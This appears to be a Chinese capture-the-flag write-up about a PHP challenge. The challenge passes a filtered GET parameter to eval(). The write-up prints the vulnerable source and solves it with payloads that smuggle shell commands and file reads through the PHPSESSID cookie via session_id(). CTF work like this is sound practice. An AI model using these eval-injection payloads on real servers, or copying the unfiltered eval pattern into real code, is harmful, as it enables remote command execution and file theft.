源码
扫到 .git
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
思路
看一下第一层过滤,伪协议是不能用的,第二层只能用a(b(c()))这样一直嵌套,第三层差不多把get的都ban了
题解
有关session_id()可以参考 我的博客https://blog.csdn.net/Kracxi/article/details/121041140
看了下版本,php 5.6,可以用session_id()来解
exp=system(session_id(session_start()));
修改PHPSESSID
=ls
,显示当前目录
exp=show_source(session_id(session_start()));
修改PHPSESSID
=flag.php
,拿到flag